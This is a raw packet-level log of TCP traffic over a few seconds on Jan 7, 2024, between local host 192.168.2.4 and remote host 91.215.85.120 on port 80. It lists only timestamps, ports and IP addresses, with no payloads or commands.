Jan 7, 2024 05:29:41.732512951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.732877016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.732929945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.732970953 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.733400106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.733535051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.733587980 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.742780924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.742794991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.742844105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.802190065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.802297115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.802362919 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.869390965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.869503975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.869570971 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.869615078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.869678974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.869721889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.870779037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.870856047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.870908976 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.870965958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.871084929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.871128082 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.919358015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.919389009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.919460058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.919476986 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.919501066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.919542074 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.922259092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.922422886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.922475100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.922486067 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.922487974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.922532082 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.925067902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.925209999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.925282001 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.926670074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.926765919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.926814079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.927220106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.927314997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.927361012 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.927930117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.928008080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.928056002 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.937920094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.938009024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.938107014 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.996517897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.996630907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.996715069 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.063298941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.063361883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.063421965 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.063448906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.063524961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.063564062 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.064662933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.064788103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.064829111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.064898014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.064991951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.065028906 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.115561008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.115756989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.115823030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.115828991 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.115880966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.115923882 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.118662119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.118726015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.118778944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.118874073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.119024992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.119074106 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.121884108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.121936083 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.123339891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.123368979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.123388052 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.123404980 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.123559952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.123604059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.123611927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.123672009 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.124382019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.124419928 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.124475002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.124511003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.133527994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.133579016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.133600950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.133644104 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.193592072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.193694115 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.193876028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.193922997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.257404089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.257487059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.257489920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.257530928 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.257570028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.257617950 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.259430885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.259449005 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.259493113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.259521008 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.259546995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.259589911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.259643078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.259681940 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.310411930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.310477972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.310486078 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.310520887 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.310643911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.310682058 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.310693979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.310743093 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.313839912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.313893080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.313898087 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.313930035 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.314085960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.314125061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.314148903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.314187050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.316611052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.316715002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.316772938 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.318047047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.318101883 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.318124056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.318185091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.318212986 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.318386078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.318430901 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.318873882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.327668905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.327759027 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.388164997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.388237000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.388288021 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.453402042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.453417063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.453490019 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.454505920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.454585075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.454628944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.506042957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.506170034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.506203890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.506351948 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.508811951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.508924961 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.509095907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.512300014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.512366056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.512392998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.513685942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.513767958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.513806105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.513830900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.513906956 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.522118092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.522134066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.522233963 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.582865000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.582909107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.582945108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.582994938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.583004951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.583034039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.647068024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.647136927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.647304058 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.648535013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.648574114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.648668051 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.700470924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.700544119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.700615883 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.703006983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.703054905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.703107119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.703119993 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.706352949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.706366062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.706440926 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.708091974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.708164930 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.708187103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.708296061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.708348036 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.708353043 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.715915918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.716017008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.716048956 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.778203964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.778258085 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.778285980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.778424978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.778470039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.778496027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.842365026 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.842422962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.842431068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.844218016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.844261885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.844261885 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.897062063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.897099972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.897236109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.897243977 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.897283077 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.897335052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.899154902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.899204016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.899214983 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.902750015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.902812004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.902853012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.904323101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.904371977 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.904407024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.904479980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.904506922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.904526949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.910967112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.911031008 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.911082983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.972764015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.972903013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.973040104 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.973092079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:42.973146915 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:42.973150969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.036190033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.036242962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.036294937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.038783073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.038825989 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.039015055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.091083050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.091200113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.091219902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.091276884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.091339111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.091403008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.091439962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.092835903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.092884064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.092927933 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.098150015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.098218918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.098265886 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.100083113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.100155115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.100199938 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.100227118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.100305080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.100347042 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.100414038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.105317116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.105356932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.105376005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.166939974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.167000055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.167032003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.167054892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.167068958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.167097092 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.216133118 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.230551004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.231017113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.231203079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.233094931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.233257055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.233314037 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.286251068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.286272049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.286283970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.286309958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.286323071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.286425114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.286489010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.286489010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.287877083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.287911892 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.287913084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.287965059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.293206930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.293220997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.293263912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.295972109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.295984983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.296055079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.296231985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.296246052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.296287060 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.300889969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.300903082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.300950050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.361135960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.361152887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.361191988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.361237049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.361361027 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.361361027 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.412107944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.425935984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.425997972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.426111937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.428788900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.428838968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.428941965 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.481137991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.481194019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.481211901 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.481255054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.481297016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.481329918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.481375933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.481415033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.481432915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.482498884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.482541084 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.482572079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.482670069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.482707024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.487818003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.487879038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.487924099 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:43.490602016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.490772963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:43.490814924 CET	49735	80	192.168.2.4	91.215.85.120
